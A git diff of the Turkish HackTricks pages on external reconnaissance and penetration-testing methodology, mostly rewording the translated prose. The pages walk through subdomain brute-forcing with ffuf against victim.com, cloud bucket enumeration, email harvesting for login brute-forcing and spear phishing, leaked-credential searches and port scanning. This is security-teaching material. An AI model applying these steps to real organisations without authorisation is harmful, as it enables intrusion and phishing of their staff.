-Bu blog yazımı kontrol et, alan adından **alt alan adlarını otomatik olarak keşfetmenin** nasıl yapıldığı hakkında. Böylece bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmaz:
+Bu blog yazımı kontrol et, burada bir alan adından **alt alan adı keşfini otomatikleştirmenin** nasıl yapıldığına dair **Trickest iş akışları** kullanarak bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmayacak:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -435,7 +435,7 @@ Bazı **VHost'ları IP'lerde bulabilirsiniz** [**HostHunter**](https://github.co
**Brute Force**
-Eğer bir alt alan adının bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile deneyebilirsiniz:
+Eğer bir alt alan adının bir web sunucusunda gizli olabileceğini düşünüyorsanız, bunu brute force ile deneyebilirsiniz:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -453,35 +453,35 @@ VHostScan -t example.com
Bu teknikle, hatta dahili/gizli uç noktalara erişebilme olasılığınız olabilir.
{% endhint %}
-### **CORS Brute Force**
+### **CORS Kaba Kuvvet**
-Bazı durumlarda, yalnızca geçerli bir alan/alt alan adı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alan adlarını keşfedebilirsiniz**.
+Bazen, yalnızca geçerli bir alan/alt alan belirtildiğinde _**Origin**_ başlığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alanlar** **keşfedebilirsiniz**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Kovalama Yöntemleri**
-**Alt alan adları** ararken, herhangi bir türde **bucket'a işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**mümkün olan bucket adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
+**Alt alan adları** ararken, herhangi bir **kova**'ya **işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
+Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**muhtemel kova adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
### **İzleme**
-Bir alan adının **yeni alt alan adları** oluşturulup oluşturulmadığını izleyerek **izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tarafından yapılır.
+Bir alan adının **yeni alt alan adlarının** oluşturulup oluşturulmadığını **izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) ile izleyerek.
### **Zaafiyet Arayışı**
-Mümkün [**alt alan adı ele geçirmelerini kontrol edin**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Eğer **alt alan adı** bir **S3 bucket'a işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
+Mümkün [**alt alan adı ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
+Eğer **alt alan adı** bir **S3 kovasına işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
-Varlık keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alt alan adı** bulursanız, temel bir **zayıflık taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve bu kitapta onlara "saldırmak" için bazı ipuçları bulabilirsiniz.\
-_Not edin ki bazen alt alan adı, müşteri tarafından kontrol edilmeyen bir IP içinde barındırılmış olabilir, bu yüzden kapsamda olmayabilir, dikkatli olun._
+Varlık keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip **herhangi bir alt alan adı bulursanız**, temel bir **zayıflık taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve **bu kitapta onlara "saldırmak" için bazı püf noktaları bulabilirsiniz**.\
+_Not: Bazı durumlarda alt alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
## IP'ler
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alan adları bulmuş olabilirsiniz**.\
Bu aralıklardan **tüm IP'leri ve alan adları/alt alan adlarını (DNS sorguları)** toplama zamanı geldi.
-Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak** ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir)
+Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak**, ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir)
* [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -489,7 +489,7 @@ Ayrıca, [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kulla
### **Zaafiyet Arayışı**
-CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen orada ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zayıflıklar bulabilirsiniz**.
+CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zayıflıklar bulabilirsiniz**.
**Ana bilgisayarları nasıl taramanız gerektiği** hakkında bir [**kılavuz**](../pentesting-network/) **bulun.**
@@ -497,12 +497,12 @@ CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen orada il
> Tüm şirketleri ve varlıklarını bulduk ve IP aralıklarını, alan adlarını ve kapsamdaki alt alan adlarını biliyoruz. Artık web sunucularını aramak zamanı geldi.
-Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının keşfini zaten yapmış olabilirsiniz, bu yüzden muhtemelen **tüm olası web sunucuları** zaten bulmuş olabilirsiniz. Ancak, bulamadıysanız şimdi kapsam içindeki web sunucularını aramak için bazı **hızlı ipuçları** göreceğiz.
+Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının **keşfini zaten yapmış olabilirsiniz**, bu nedenle muhtemelen **tüm olası web sunucuları zaten bulmuş olabilirsiniz**. Ancak, bulamadıysanız, şimdi kapsam içindeki web sunucularını aramak için **hızlı ipuçları** göreceğiz.
-Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu yüzden **izin verildiği takdirde** **zayıflık** ve **port taraması** da yapmalısınız.
+Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu nedenle **izin verildiği takdirde** **zayıflık** ve **port taraması** da yapmalısınız.
-**Web** sunucularıyla ilgili **açık portları keşfetmek için hızlı bir yöntem** [**burada masscan** bulunabilir](../pentesting-network/#http-port-discovery).\
-Başka bir dost araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx). Sadece bir alan adları listesi geçirin ve 80 (http) ve 443 (https) bağlanmaya çalışacaktır. Ayrıca, diğer portları denemek için belirtebilirsiniz:
+[**masscan ile ilişkili açık portları keşfetmek için hızlı bir yöntem burada bulunabilir**](../pentesting-network/#http-port-discovery).\
+Başka bir dostça araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx) bulunmaktadır. Bir alan adları listesi geçirirsiniz ve 80 (http) ve 443 (https) bağlanmaya çalışır. Ayrıca, diğer portları denemek için belirtebilirsiniz:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -511,9 +511,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Artık kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir göz atarak daha **garip** uç noktalar bulabilir ve bunların daha **savunmasız** olma olasılığı daha yüksektir.
-Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** kullanabilirsiniz.**
+Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'ı** kullanabilirsiniz.
-Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** tarayarak size **olası olarak zafiyet içerenleri** ve olmayanları söylemesini sağlayabilirsiniz.
+Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** çalıştırarak size **olası savunmasızlıklar içerdiğini** ve içermediğini söylemesini sağlayabilirsiniz.
## Genel Bulut Varlıkları
@@ -525,28 +525,28 @@ Ayrıca, **kova**larda kullanılan yaygın kelimelerin listelerine ihtiyacınız
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
-Daha sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round) kontrol edin).
+Ardından, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round)'e bakın).
-Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
+Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.
Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını aramalısınız**.
-### **Zafiyetler Aranıyor**
+### **Savunmasızlıkları Arama**
-**Açık kovalar veya açığa çıkarılan bulut işlevleri** gibi şeyler bulursanız, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz.
+**Açık kovalar veya açık bulut fonksiyonları gibi şeyler bulursanız**, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz.
## E-postalar
-Kapsamdaki **alan adları** ve **alt alan adları** ile temelde e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
+Kapsamdaki **alan adları** ve **alt alan adları** ile temelde **e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için benim için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
* [**https://hunter.io/**](https://hunter.io/) (ücretsiz sürüm) API'si
* [**https://app.snov.io/**](https://app.snov.io/) (ücretsiz sürüm) API'si
* [**https://minelead.io/**](https://minelead.io/) (ücretsiz sürüm) API'si
-### **Zafiyetler Aranıyor**
+### **Savunmasızlıkları Arama**
-E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) kaba kuvvet saldırıları yapmak için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidirler. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır.
+E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) **kaba kuvvet uygulamak** için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidir. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır.
## Kimlik Bilgisi Sızıntıları
@@ -555,39 +555,39 @@ E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (ö
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
-### **Zafiyetler Aranıyor**
+### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanç olacaktır.
-## Sır Sızıntıları
+## Sırların Sızıntıları
-Kimlik bilgisi sızıntıları, şirketlerin **duyarlı bilgilerin sızdırıldığı ve satıldığı** hack'lerle ilgilidir. Ancak, şirketlerin o veritabanlarında olmayan başka sızıntılardan etkilenebileceğini unutmamalısınız:
+Kimlik bilgisi sızıntıları, **duyarlı bilgilerin sızdırıldığı ve satıldığı** şirket hack'leri ile ilgilidir. Ancak, şirketler, o veritabanlarında olmayan başka sızıntılardan da etkilenebilir:
### Github Sızıntıları
-Kimlik bilgileri ve API'lar **şirketin** veya o github şirketinde çalışan **kullanıcıların** **genel depolarında** sızdırılmış olabilir.\
+Kimlik bilgileri ve API'lar, **şirketin** veya **github şirketi tarafından çalışan kullanıcıların** **genel depolarında** sızdırılmış olabilir.\
[**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanarak bir **kuruluşun** ve **geliştiricilerinin** tüm **genel depolarını indirip** otomatik olarak üzerlerinde [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
-**Leakos** ayrıca bazen **web sayfalarının da sırlar içerdiği** için tüm **URL'leri** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
+**Leakos**, bazen **web sayfaları da sırlar içerdiği için** onlara geçirilen **URL'leri çalıştırmak** için de kullanılabilir.
#### Github Dorks
-Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlarlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olabilir.\
+Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlarlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olacaktır.\
[**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanarak aynı anda 80'den fazla yapıştırma sitesinde arama yapabilirsiniz.
### Google Dorks
-Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz.**
+Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz**.
-_Unutmayın, düzenli Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok uzun sürecek ve Google sizi çok kısa sürede engelleyecektir._
+_Not: Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok kısa sürede engellenecektir._
-### **Zafiyetler Aranıyor**
+### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazanç olacaktır.
-## Genel Kod Zafiyetleri
+## Genel Kod Güvenlik Açıkları
-Şirketin **açık kaynak koduna** sahip olduğunu tespit ettiyseniz, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz.
+Şirketin **açık kaynak kodu** olduğunu tespit ettiyseniz, onu **analiz edebilir** ve üzerinde **güvenlik açıkları** arayabilirsiniz.
**Dile bağlı olarak** farklı **araçlar** kullanabilirsiniz:
@@ -595,34 +595,34 @@ Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulu
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
-Ayrıca, şunlar gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**:
+Ayrıca, şunun gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**:
* [**Snyk**](https://app.snyk.io/)
-## [**Web Uygulama Test Metodolojisi**](../../network-services-pentesting/pentesting-web/)
+## [**Web Sızma Testi Metodolojisi**](../../network-services-pentesting/pentesting-web/)
-**Çoğu zayıflık**, avcılar tarafından bulunan yerlerde **web uygulamalarında** bulunur, bu nedenle bu noktada bir **web uygulama test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
+**Hata avcıları** tarafından bulunan **çoğu zayıflık**, **web uygulamalarının** içinde bulunur, bu noktada **bir web uygulaması testi metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
-Ayrıca, [**Web Otomatik Tarama Açık Kaynaklı Araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.**
+Ayrıca, [**Web Otomatik Tarama açık kaynaklı araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.**
## Özet
-> Tebrikler! Bu noktada zaten **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz).
+> Tebrikler! Bu noktada **tüm temel numaralandırmayı** zaten gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz).
Şimdiye kadar şunları yaptınız:
1. Kapsam içindeki **tüm şirketleri** buldunuz
2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zayıflık taraması yaptınız)
3. Şirketlere ait **tüm alan adlarını** buldunuz
-4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan adı ele geçirme?)
+4. Alan adlarının **tüm alt alanlarını** buldunuz (herhangi bir alt alan ele geçirme?)
5. Kapsam içindeki **CDN'lerden ve olmayan IP'leri** buldunuz.
-6. Tüm **web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?)
+6. **Web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?)
7. Şirkete ait **potansiyel halka açık bulut varlıklarını** buldunuz.
8. Size **kolayca büyük bir kazanç sağlayabilecek** **e-postaları**, **kimlik bilgileri sızıntılarını** ve **gizli sızıntıları** buldunuz.
-9. Bulduğunuz tüm web sitelerini **pentest ettiniz**
+9. Bulduğunuz tüm web sitelerini **sızdırdınız**
## **Tam Kapsamlı Otomatik Araçlar**
-Verilen bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır.
+Belirli bir kapsam karşısında önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@@ -633,7 +633,7 @@ Verilen bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@@ -641,14 +641,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin.
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destek olun.
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md
index 1cbf28464..1482cfcfd 100644
--- a/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/generic-methodologies-and-resources/pentesting-methodology.md
@@ -2,21 +2,21 @@
-AWS hacklemeyi sıfırdan kahraman olmaya kadar öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+AWS hacklemeyi sıfırdan kahraman olmaya öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
-
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulan gereklidir_).
+Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -32,7 +32,7 @@ Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? [**Fiziksel s
### 1 - [Ağdaki ana bilgisayarları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/)
-**Yapacağınız testin** **içsel veya dışsal bir test olup olmadığına bağlı olarak**, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz.
+**Yaptığınız testin** **içsel veya dışsal bir test** olmasına bağlı olarak, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz.
{% hint style="info" %}
Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi başardığınızda bu kılavuzu yeniden başlatmanız gerekebilir.
@@ -41,11 +41,11 @@ Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi baş
### **2-** [**Ağla Eğlenmek**](pentesting-network/) **(İçsel)**
**Bu bölüm yalnızca içsel bir test gerçekleştiriyorsanız geçerlidir.**\
-Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Pentesting Network**](pentesting-network/#sniffing)'ü okuyabilirsiniz.
+Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Ağın Pentest Edilmesi**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz.
### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts)
-Bir **ana bilgisayardaki zafiyetleri ararken ilk yapmanız gereken şey**, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçlara bakalım**](pentesting-network/#scanning-hosts).
+Bir **ana bilgisayardaki zafiyetleri ararken** yapılması gereken ilk şey, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçlara bakalım**](pentesting-network/#scanning-hosts).
### **4-** [Servis sürümü açıklarını arama](search-exploits.md)
@@ -53,22 +53,22 @@ Bir **ana bilgisayardaki zafiyetleri ararken ilk yapmanız gereken şey**, hangi
### **5-** Servislerin Pentest Edilmesi
-Çalışan herhangi bir servis için şık bir açık yoksa, **her serviste yaygın yapılandırmaları aramalısınız.**
+Çalışan herhangi bir servis için şık bir açık yoksa, her çalışan serviste **ortak yapılandırmaları aramalısınız.**
-**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
+**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen, sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
-**Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (çünkü en kapsamlı olanıdır).**\
